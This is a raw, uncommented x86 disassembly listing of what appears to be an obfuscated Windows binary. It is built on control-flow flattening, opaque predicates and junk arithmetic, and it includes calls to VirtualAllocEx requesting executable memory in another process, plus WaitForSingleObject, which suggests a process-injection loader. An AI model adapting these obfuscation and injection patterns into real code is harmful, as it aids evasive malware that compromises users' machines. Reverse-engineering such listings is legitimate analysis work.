xor dl, 1
or al, ah
or dl, ch
xor dl, 1
or dl, cl
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x22d6161f
cmovne eax, esi
test dl, 1
mov edx, 0x22d6161f
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401ef0
cmp eax, 0xc8e43a54
jle 0x404537
cmp eax, 0xcac1d0a0
jle 0x405626
cmp eax, 0xcac1d0a1
je 0x40a140
cmp eax, 0xcb445dbf
je 0x40a14a
cmp eax, 0xcc43f813
jne 0x401ef0
mov eax, 0xb51b388e
jmp 0x401ef0
cmp eax, 0x5f94d264
jle 0x40456e
cmp eax, 0x616fd3ce
jle 0x405654
cmp eax, 0x616fd3cf
je 0x40a253
cmp eax, 0x62838eba
je 0x40a2ad
cmp eax, 0x62d8afc3
jne 0x401ef0
mov eax, 0xc29c8fc5
jmp 0x401ef0
cmp eax, 0xb08cf1ca
jle 0x4045a3
cmp eax, 0xb2aae3a2
jle 0x40568c
cmp eax, 0xb2aae3a3
je 0x401db0
cmp eax, 0xb33bb17b
je 0x40a2c6
cmp eax, 0xb4591855
jne 0x401ef0
mov eax, 0x79b8ab36
jmp 0x401ef0
cmp eax, 0x38e62b1c
jle 0x4056b2
cmp eax, 0x38e62b1d
je 0x40a2dc
cmp eax, 0x3a644ec7
je 0x40a2e6
cmp eax, 0x3a808110
jne 0x401ef0
cmp dword [ebp - 0x1f8], 0
mov eax, 0xdb60e6b7
mov ecx, 0xdccd068e
cmove eax, ecx
jmp 0x401ef0
cmp eax, 0xea847daa
jle 0x405856
cmp eax, 0xea847dab
je 0x40a2f0
cmp eax, 0xeb1c6675
je 0x40a2fa
cmp eax, 0xec626aa8
jne 0x401ef0
mov eax, dword [ebp - 0xe0]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sbb edx, 0x97
rcr edi, 0x16
add edi, 0x38
neg eax
ror edx, 0x81
inc edi
rcl edx, 0x20
not eax
ror edx, 0xb7
bswap esi
not edx
inc esi
not ebx
not eax
rol eax, 0x10
rol esi, 0xf8
mov edi, 7
inc edx
mov ebx, 0xd0
dec eax
neg ebx
inc edi
bswap ebx
imul edi
bswap eax
add esi, 0x93
dec edx
inc edi
imul eax
not eax
rol edi, 0x61
ror eax, 0x4a
dec esi
dec ebx
dec edi
rcl edx, 0x18
dec ebx
add edi, 0x54
imul edx
not esi
add edx, 0xfc
ror edi, 0x1b
imul edx
imul edx
bswap ebx
dec esi
add edi, 0x56
neg eax
and edx, 0xa7
sbb edx, 0xbd
rcr eax, 0x21
inc esi
dec edi
not ebx
add edx, 0xa5
inc edx
rcl edi, 0xa3
rol edx, 0x97
or ebx, 0xcd
bswap edx
bswap ebx
rol edx, 0x52
inc ebx
add edi, 0x34
and edi, 0xe1
neg edx
rol edx, 0xf5
sbb edi, 0xc8
dec eax
add edx, 0x7c
not eax
sub edi, 0xda
inc edi
ror edi, 0x33
inc eax
mov eax, 0xf3
mov eax, 0xfd
mov edx, 0xd5
neg edi
not eax
rcl eax, 0x94
rcr edi, 0x3c
inc esi
neg edx
ror esi, 0x74
inc edx
dec esi
rol edi, 0xb9
neg eax
and eax, 0x8b
dec edi
not esi
mov edx, 0x67
not esi
neg ebx
mov esi, 0x70
sub eax, 0xa4
rol ebx, 0xde
imul eax
inc eax
or esi, 0x47
bswap ebx
sub edi, 0xcd
not eax
inc edx
ror edx, 0x35
bswap eax
inc ebx
rcl esi, 0x1b
sub ebx, 0x7f
add ebx, 0xa3
not esi
rcr eax, 0x77
rcr esi, 0x61
not eax
not eax
not esi
rol edx, 0x6a
add edi, 0xcd
inc edx
and esi, 0xc1
dec eax
add edx, 0xb3
bswap edi
imul eax
rol edi, 0x52
not edi
inc edi
add esi, 0xc8
imul edi
sub esi, 0x2b
rol eax, 0x96
not esi
not ebx
rcl eax, 0x8b
not esi
rol ebx, 0x4a
dec esi
imul esi
mov eax, 0x9e
sub edi, 4
not ebx
mov esi, 0xf9
ror ebx, 0xb
inc edx
ror ebx, 0x34
rcl eax, 0xef
dec edi
rcr esi, 0x13
neg esi
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [0x504184]
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa4], 1
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x3080862
mov esi, edx
and esi, 0x94208294
and edx, 0x74d7a85f
or ecx, esi
mov esi, eax
xor esi, 0x97288af6
and esi, eax
xor ecx, 0x3080862
and eax, 0x8b2857a0
or ecx, esi
not esi
or eax, edx
and esi, 0x68d77508
and ecx, 0x97288af7
xor eax, 0x8b2857a0
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x434f0f98
and esi, 0xbcb0f067
or ecx, esi
mov esi, 0x506f967c
xor ecx, 0x434f0f98
or eax, ecx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x504180], 0xa
setge al
xor ah, al
or dl, al
mov al, ah
mov cl, ah
xor al, 1
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov ah, cl
xor cl, 1
and cl, dl
xor dl, 1
and ah, dl
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xb4591855
cmovne eax, esi
test cl, cl
mov ecx, 0xb4591855
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401ef0
cmp eax, 0x6e37f909
jle 0x405876
cmp eax, 0x6e37f90a
je 0x40a31f
cmp eax, 0x6e70d694
je 0x40a413
cmp eax, 0x6e9b217b
jne 0x401ef0
mov eax, 0x7244bc94
jmp 0x401ef0
cmp eax, 0x8c6a82f9
jle 0x4058bd
cmp eax, 0x8c6a82fa
je 0x40a522
cmp eax, 0x8cd1b729
je 0x40a53b
cmp eax, 0x8e12b5e2
jne 0x401ef0
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x13c]
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
setl byte [ebp - 0xca]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x31a1231b
and ecx, 0xce5edce4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa029bc19
and ecx, 0x5fd643e6
or eax, ecx
mov edi, eax
mov ecx, eax
xor ecx, 0x1800c02
xor edi, 0x6e7760fd
xor eax, 0x9d834048
and eax, edi
and ecx, 0x27f50c13
and edi, 0xd80af3ec
or edi, ecx
mov ecx, edi
mov edx, edi
xor ecx, 0xd80af3ec
xor edx, 0xd4012ca6
xor edi, 0x1710001
and edx, ecx
mov esi, ecx
and edi, 0x917b922d
and esi, 0x6e846dd2
and ecx, 1
or eax, edx
or esi, edi
mov edx, eax
not edx
and eax, 0x3060cde5
mov edi, esi
xor edi, 0x917b922c
xor esi, 0x66802d82
and edx, 0xcf9f321a
or ecx, edi
and esi, 0xe7b9ad8a
or eax, edx
mov edx, eax
xor edx, 0xc390ad00
xor eax, 0x3c6b12ae
mov edi, eax
or eax, ecx
and ecx, 0x18465275
and edi, 0x18465275
and edx, 0xe7b9ad8a
or edx, edi
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
and eax, 0xeada4641
and ecx, 0x1525b9be
or eax, ecx
mov ecx, eax
xor ecx, 0x1124a19c
xor eax, 0x4400
and eax, 0x4015c22
and ecx, 0xfbfea3dd
or ecx, eax
cmp ecx, 0xfbfea3dd
sete dl
cmp dword [0x504180], 0xa
setl al
setge cl
mov ah, al
or al, dl
xor ah, dl
or dl, cl
xor al, 1
xor dl, 1
and cl, ah
or al, ah
or cl, dl
mov ah, al
mov edx, ecx
xor ah, 1
mov ch, cl
mov bh, ah
xor dl, 1
and ch, dl
and bh, al
xor ch, 1
xor bh, 1
or ch, dl
or bh, al
or dl, al
xor ch, 1
xor bh, 1
mov bl, dl
or bh, ah
or ch, cl
mov eax, 0x62838eba
xor bh, ch
xor bl, bh
test dl, dl
mov edx, 0x54ddf133
cmovne eax, edx
test bh, 1
cmove eax, edx
test bl, 1
mov edx, 0x62838eba
cmove eax, edx
jmp 0x401ef0
cmp eax, 0xa7867c3
jle 0x4059b8
cmp eax, 0xa7867c4
je 0x40a552
cmp eax, 0xa8f4c7c
je 0x40a56e
cmp eax, 0xcb500ea
jne 0x401ef0
mov eax, 0xe4ee8b33
jmp 0x401ef0
cmp eax, 0xc509c551
jle 0x405b2b
cmp eax, 0xc509c552
je 0x40a578
cmp eax, 0xc51a7165
je 0x40a59d
cmp eax, 0xc5915cbe
jne 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x22203
mov esi, edx
mov edi, edx
or esi, 0x44c14110
and ecx, 0x44c36313
and edi, 0x9a1818a8
and edx, 0xb860edba
or edi, ecx
mov ecx, eax
and esi, 0x44c36313
and ecx, 0x21248444
and eax, 0x479f1245
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0xded959b9
and esi, 0x2126a646
or ecx, esi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0xa68ef0d2
and esi, 0x59710f2d
or esi, edx
mov edx, eax
xor edx, 0x41110205
xor eax, 0xb860edba
or ecx, eax
and eax, 0xa68ef0d2
and edx, 0x59710f2d
or edx, eax
not ecx
xor edx, esi
mov esi, 0x9aad8781
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xbc4f8061
and eax, 0x43b07f9e
or ecx, eax
xor ecx, 0xbc4f8061
sete dl
setne ah
cmp dword [0x504180], 0xa
setge cl
setl al
and ah, al
and cl, dl
or al, dl
or cl, ah
mov ah, al
mov edx, ecx
xor dl, 1
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
not ah
and ah, dl
mov edx, ecx
xor dl, al
and al, cl
or al, ah
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x842d5633
cmovne eax, esi
test dl, dl
mov edx, 0x842d5633
jmp 0x40d6c1
cmp eax, 0x553bed9b
jle 0x405c88
cmp eax, 0x553bed9c
je 0x40a663
cmp eax, 0x55be5db6
je 0x40a6a3
cmp eax, 0x5828d92b
jne 0x401ef0
mov eax, 0x8e53615
jmp 0x401ef0
cmp eax, 0xa650fe9f
jle 0x405cb4
cmp eax, 0xa650fea0
je 0x40a6cf
cmp eax, 0xa8dd3e56
je 0x40a6d9
cmp eax, 0xab4bc8ca
jne 0x401ef0
push 0x40
push 0x3000
push dword [ebp - 0x134]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0x9cd76c3f
jmp 0x401ef0
cmp eax, 0x2bf87cb7
jle 0x405ce3
cmp eax, 0x2bf87cb8
je 0x40a702
cmp eax, 0x2c2a16bd
je 0x40a70c
cmp eax, 0x2dafa160
jne 0x401ef0
mov eax, 0x2b87c159
jmp 0x401ef0
cmp eax, 0xe0a0a830
jle 0x405de9
cmp eax, 0xe0a0a831
je 0x40a7f3
cmp eax, 0xe0b98d9f
je 0x40a8e4
cmp eax, 0xe195a747
jne 0x401ef0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xac]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
lea eax, [ebp - 0x88]
mov dword [ecx + 4], eax
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, 0xa6cf89b
jmp 0x401ef0
cmp eax, 0x7d553b5b
jle 0x405e18
cmp eax, 0x7d553b5c
je 0x40aa9f
cmp eax, 0x7d8f1b7c
je 0x40ac50
cmp eax, 0x7dfc9417
jne 0x401ef0
mov eax, dword [0x504184]
mov ebx, 0x275fb6d4
mov edi, 0x275fb6d4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
and edx, 0x73b21ba0
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x8c4de45e
or edx, esi
mov esi, 0xfb5fcf19
xor edx, 0x73b21ba0
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xac23fc4b
and ecx, 0x53dc03b4
or eax, ecx
xor eax, 0xac23fc4b
setne al
sete dl
cmp dword [0x504180], 0xa
setge ah
setl cl
or ah, dl
or al, cl
mov ch, ah
xor ch, al
or al, ah
mov ah, cl
xor cl, dl
xor al, 1
or ah, dl
or al, ch
xor ah, 1
xor al, 1
or cl, ah
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, al
mov eax, ebx
cmovne eax, edi
test dl, 1
cmovne eax, ebx
jmp 0x401ef0
cmp eax, 0x9a664a5a
jle 0x405ef3
cmp eax, 0x9a664a5b
je 0x40ad93
cmp eax, 0x9aad8781
je 0x40ada9
cmp eax, 0x9acc284d
jne 0x401ef0
mov eax, dword [ebp - 0x118]
mov ecx, 0xd1e94391
cmp eax, 0xc
mov eax, 0xa18b0154
cmovl eax, ecx
jmp 0x401ef0
cmp eax, 0x1df83c13
jle 0x405f13
cmp eax, 0x1df83c14
je 0x40ae52
cmp eax, 0x1fe8b5e0
je 0x40ae6b
cmp eax, 0x203ea525
jne 0x401ef0
mov eax, 0x62d8afc3
mov dword [ebp - 0xa4], 7
jmp 0x401ef0
cmp eax, 0xd180363a
jle 0x406018
cmp eax, 0xd180363b
je 0x40ae75
cmp eax, 0xd1e4f2b8
je 0x40b039
cmp eax, 0xd1e94391
jne 0x401ef0
cmp dword [ebp - 0x118], 0
mov eax, 0x7d553b5c
mov ecx, 0xcff32547
cmove eax, ecx
jmp 0x401ef0
cmp eax, 0x66d0280f
jle 0x40608c
cmp eax, 0x66d02810
je 0x40b051
cmp eax, 0x68d9c795
je 0x40b1a2
cmp eax, 0x68de0bcd
jne 0x401ef0
mov eax, 0xcb445dbf
jmp 0x401ef0
cmp eax, 0xb65bf26f
jle 0x4060c1
cmp eax, 0xb65bf270
je 0x40b299
cmp eax, 0xb66801dc
je 0x40b2b2
cmp eax, 0xb6772f8e
jne 0x401ef0
mov eax, dword [0x504184]
mov dword [ebp - 0xa4], 0xc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xfffffffe
mov edx, eax
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5baeb00d
and ecx, 0xa4514ff2
or ecx, eax
cmp ecx, 0x5baeb00d
sete cl
cmp dword [0x504180], 0xa
mov eax, ecx
setl dl
xor al, dl
or dl, cl
mov ah, al
mov ecx, eax
xor dl, 1
xor ah, 1
or dl, al
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov ah, cl
and cl, dl
xor dl, 1
xor ah, 1
and ah, dl
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, 0xfcac919a
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0x717057e5
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0xfcac919a
cmove eax, edx
jmp 0x401ef0
cmp eax, 0x44661c78
jle 0x4061f1
cmp eax, 0x44661c79
je 0x40b398
cmp eax, 0x4612f637
je 0x40b3a2
cmp eax, 0x47e7b5af
jne 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x20a30046
mov esi, eax
and esi, 0x84044390
and eax, 0x5103093a
or ecx, esi
mov esi, ecx
xor esi, 0x20030042
xor ecx, 0xdf5cffb9
mov edi, ecx
and edi, 0xdba805b4
and esi, 0x24074242
or esi, edi
mov edi, edx
xor edi, 0xa4a743d6
and edi, edx
mov ebx, edi
not ebx
and edi, 0x2457fa4b
or ecx, ebx
and ebx, 0xdba805b4
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xa4a743d7
and esi, 0x5b58bc28
or ecx, esi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0xaefcf6c5
and edi, 0xaefcf6c5
and esi, 0x5103093a
or eax, edx
not ecx
or esi, edi
xor eax, esi
mov esi, 0x4af4d4ee
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x504180], 0xa
setge al
setl ch
mov cl, al
or al, ah
or ch, dl
xor cl, ah
xor ch, 1
xor al, 1
and cl, ah
or al, ch
mov ah, cl
mov ch, cl
xor al, 1
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
xor dl, al
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xd3bf0e48
cmovne eax, esi
test dl, 1
mov edx, 0xd3bf0e48
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401ef0
cmp eax, 0xf58422bb
jle 0x40621d
cmp eax, 0xf58422bc
je 0x40b3ac
cmp eax, 0xf6b4bb0c
je 0x40b3b6
cmp eax, 0xf7bde917
jne 0x401ef0
mov eax, 0xb65bf270
jmp 0x401ef0
cmp eax, 0x6f2b0378
jle 0x40624a
cmp eax, 0x6f2b0379
je 0x40b3f9
cmp eax, 0x6f49b1bd
jne 0x40d748
mov dword [ebp - 0xc0], 0
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0xf4], eax
mov eax, 0x83100e2f
jmp 0x401ef0
cmp eax, 0x81307592
jg 0x40626a
cmp eax, 0x8098099f
je 0x40b409
cmp eax, 0x80f4d0be
jne 0x401ef0
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x168]
mov eax, 0x129cc5ae
jmp 0x401ef0
cmp eax, 0xf9d5cc25
jg 0x40628a
cmp eax, 0xf848da78
je 0x40b450
cmp eax, 0xf965da3d
jne 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb2021110
and eax, 0x1a84082
mov edx, ecx
and edx, 0x4851202d
or ecx, 0xa002024
or esi, edx
and ecx, 0xe04ae64
mov edx, esi
xor edx, 0xb0021110
xor esi, 0xc04ae64
or eax, ecx
and esi, 0xe04ae64
and edx, 0xf0531119
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xfa53313d
and ecx, 0x5accec2
or eax, ecx
mov ecx, eax
xor ecx, 0x9008e50d
mov edx, eax
and edx, 0xdb2bd742
and ecx, eax
not eax
and eax, 0x24d428bd
or edx, eax
mov eax, edx
xor eax, 0xdb2bd742
xor edx, 0x20542890
mov esi, eax
and esi, 0x9008e50d
or eax, 1
and edx, 0x727dfe92
or ecx, esi
and eax, 0x8d82016d
mov esi, ecx
not esi
and ecx, 0x9008e50c
or eax, edx
and esi, 0x6ff71af3
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xaffc8950
mov esi, edx
and esi, 0x500376af
or ecx, esi
mov esi, eax
xor esi, 0x8d800140
xor eax, 0x727dfe92
or edx, eax
and eax, 0x500376af
and esi, 0xaffc8950
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x10d32f59
mov ecx, edx
not ecx
mov eax, edx
and eax, 0xc5fb0ce9
and ecx, 0x3a04f316
or eax, ecx
andn ecx, edx, edx
xor eax, 0xc5fb0ce9
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x72210155
and eax, 0x8ddefeaa
or eax, ecx
xor eax, 0x8ddefeaa
sete cl
setne ah
cmp dword [0x504180], 0xa
setge al
setl dl
xor ah, al
xor dl, cl
xor ah, 1
mov ecx, edx
and al, ah
xor cl, 1
xor al, 1
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xc1b264c3
cmovne edx, esi
test al, al
mov esi, 0xc1b264c3
jmp 0x40b388
cmp eax, 0xb6f23135
jg 0x4062aa
cmp eax, 0xb6c7699c
je 0x40b545
cmp eax, 0xb6ec2805
jne 0x401ef0
mov eax, 0xef27ae7
jmp 0x401ef0
cmp eax, 0x4cff0e80
jg 0x4064c5
cmp eax, 0x4906029a
je 0x40b54f
cmp eax, 0x4af4d4ee
jne 0x401ef0
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x180]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
lea ecx, [ebp - 0x94]
add eax, dword [ebp - 0xbc]
push ecx
push dword [ebp - 0x174]
push dword [ebp - 0x178]
push eax
vzeroupper
call fcn.00401770
add esp, 0x10
mov eax, 0xd3bf0e48
jmp 0x401ef0
cmp eax, 0x9b0fbc7d
jg 0x4064f2
cmp eax, 0x9afbea25
je 0x40b559
cmp eax, 0x9b0d1121
jne 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0x513b3a29
and edi, 0xaec4c5d6
and eax, 0x797c584
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0xf8683a7b
mov ebx, esi
not ebx
and esi, 0xaec4c5d6
or eax, ecx
or edx, ebx
and ebx, 0x513b3a29
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x797c584
mov edi, esi
and edi, 0xf8683a7b
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xe0b98d9f
setne dl
sete ah
cmp dword [0x504180], 0xa
mov dh, dl
setge cl
setl ch
mov al, cl
or dh, ch
xor al, dl
and dl, ch
and al, ch
mov ch, cl
xor ch, ah
xor al, 1
and ch, cl
and cl, ah
mov ebx, eax
or al, dh
or cl, dl
xor ch, 1
xor bl, dh
xor al, 1
xor cl, 1
mov dl, ch
or al, bl
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x8e4c086c
cmovne eax, esi
test dl, 1
mov edx, 0x8e4c086c
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401ef0
cmp eax, 0x21ac6bb3
jg 0x406616
cmp eax, 0x20c3cfdf
je 0x40b563
cmp eax, 0x21651b46
jne 0x401ef0
mov eax, 0x9b6ab664
jmp 0x401ef0
cmp eax, 0xd3197d1b
jg 0x406718
cmp eax, 0xd26be845
je 0x40b57c
cmp eax, 0xd2f43bfa
jne 0x401ef0
mov eax, 0xb2aae3a3
jmp 0x401ef0
cmp eax, 0x73db3952
jg 0x40682f
cmp eax, 0x727c23b9
je 0x40b636
cmp eax, 0x73a3a99a
jne 0x401ef0
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0xec]
cmp dword [eax + ecx*4], 0
mov eax, 0xae29a6af
setne byte [ebp - 0xcf]
jmp 0x401ef0
cmp eax, 0x8ebbc364
jg 0x40684f
cmp eax, 0x8e4c086c
je 0x40b640
cmp eax, 0x8ea4c3e5
jne 0x401ef0
mov eax, 0x22144278
jmp 0x401ef0
cmp eax, 0xeefbacc
jg 0x4069da
cmp eax, 0xcc5c518
je 0x40b8ae
cmp eax, 0xd7aaefc
jne 0x401ef0
mov eax, 0x8cd1b729
jmp 0x401ef0
cmp eax, 0xc750f48c
jg 0x406bc8
cmp eax, 0xc6575c85
je 0x40b8e9
cmp eax, 0xc6df33fa
jne 0x401ef0
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xb4], eax
mov eax, 0x27c394c6
jmp 0x401ef0
cmp eax, 0x5d530f90
jg 0x406be8
cmp eax, 0x5857365c
je 0x40b901
cmp eax, 0x5a2986f0
jne 0x401ef0
mov eax, 0x1fe8b5e0
mov dword [ebp - 0xa4], 1
jmp 0x401ef0
cmp eax, 0xad80d1e9
jg 0x406dcd
cmp eax, 0xaba8c534
je 0x40b91a
cmp eax, 0xacd799a8
jne 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x23d47fe2
mov eax, ecx
and eax, 0x3003f60
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x20d44082
mov ebx, edx
not ebx
and edx, 0xbd74bbdf
or eax, esi
mov esi, eax
xor esi, 0x1003b40
xor eax, 0xfcffc09f
mov edi, eax
or eax, ebx
and ebx, 0x428b4420
and edi, 0x428b4420
and esi, 0x21543bc2
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xdba736f4
or eax, edx
mov edx, eax
not edx
and eax, 0x3542f8f6
and edx, 0xcabd0709
or eax, edx
mov edx, eax
xor edx, 0x14048400
xor eax, 0x89407080
and eax, 0x8bd27395
and edx, 0x742d8c6a
or edx, eax
xor edx, 0x742d8c6a
or edx, ecx
xor edx, 0xffffffff
setne ah
sete ch
cmp dword [0x504180], 0xa
mov dl, ah
setge cl
setl al
mov dh, cl
or dl, cl
and cl, ch
xor dh, ah
and ah, al
or al, ch
xor al, 1
or cl, ah
and dl, dh
or cl, al
mov eax, 0x8f8bce72
xor cl, dl
cmovne eax, esi
test cl, dl
mov edx, 0x8f8bce72
cmove eax, esi
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401ef0
cmp eax, 0x32271828
je 0x40bb35
cmp eax, 0x32caaf82
jne 0x401ef0
mov ecx, dword [ebp - 0xb4]
mov edx, ecx
xor edx, 0x5c777551
mov eax, ecx
and eax, 0x4959b8e8
andn edi, ecx, edx
not ecx
and ecx, 0xb6a64717
or ecx, eax
mov esi, ecx
xor esi, 0xb6a64717
xor ecx, 0x100b048
mov edx, esi
and edx, 0xa3888aae
or esi, 0x40000000
and ecx, 0xb726f74e
or edx, edi
not edi
and edi, 0x1c777551
and edx, 0xe3888aae
or edx, edi
mov eax, edx
not eax
and edx, 0xb726f74e
mov edi, eax
or eax, esi
and edi, 0x48d908b1
and esi, 0x48d908b1
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2288e1e0
and eax, 0xd8671e1f
and ecx, 0x5100000
or edx, ecx
xor edx, 0x2288e1e0
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9bab80f1
and ecx, 0x64547f0e
or eax, ecx
cmp eax, 0xbc336111
mov eax, dword [0x504184]
setne byte [ebp - 0xd4]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x512d9cf1
and ecx, 0xaed2630e
or ecx, edx
mov esi, ecx
mov eax, ecx
xor eax, 0xa2c04300
xor esi, 0x512d9cf1
xor ecx, 0x954ffe63
and ecx, esi
and eax, 0xb2e14731
and esi, 0x4d1eb8ce
or esi, eax
mov eax, esi
mov edi, esi
xor eax, 0x4d1eb8ce
xor edi, 0x768325a3
xor esi, 0x20c14020
and edi, eax
and esi, 0x6cd3e0a2
mov edx, edi
not edx
and edi, 0x7484326e
mov ebx, edx
and ebx, 0x8b7bcd91
or edi, ebx
mov ebx, ecx
not ebx
and ecx, 0x7484326e
or edx, ebx
and ebx, 0x8b7bcd91
or ecx, ebx
not edx
xor ecx, edi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xfc28c6bb
and ecx, 0x3d73944
or edx, ecx
mov ecx, eax
and ecx, 0x932c1f5d
and eax, 1
or ecx, esi
xor edx, 0x384aa428
xor ecx, 0x6cd3e0a3
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xf53819c1
mov edx, eax
not edx
and ecx, eax
or eax, 0xac7e63e
and edx, 0x1201941
mov esi, eax
and esi, 0xf4598296
or edx, esi
mov esi, ecx
not esi
and ecx, 0xba67d69
or eax, esi
and esi, 0xf4598296
or ecx, esi
not eax
mov esi, 0x5857365c
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x192582cd
and ecx, 0xe6da7d32
or eax, ecx
mov ecx, eax
xor ecx, 0xa0181104
xor eax, 0x12222400
and eax, 0x5e27ae08
and ecx, 0xa1d851f7
or ecx, eax
mov eax, ecx
xor eax, 0xa00041f6
xor ecx, 0x4c062600
and ecx, 0x4dde3601
and eax, 0xb221c9fe
or eax, ecx
xor eax, 0xb221c9fe
sete ah
setne dl
cmp dword [0x504180], 0xa
mov cl, ah
setge al
setl ch
xor cl, al
and ch, dl
mov edx, ecx
and dl, al
and al, ah
or al, ch
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ch, cl
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0x553bed9c
mov cl, ch
xor cl, al
test al, al
mov eax, 0x553bed9c
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x407b94
cmp eax, 0xe1a418f5
je 0x40bb3f
cmp eax, 0xe42a63ca
jne 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x1503a271
not edx
mov esi, edx
or esi, 0x6200100c
and ecx, 0x7703b27d
and edx, 0x887c4582
or edx, ecx
mov ecx, eax
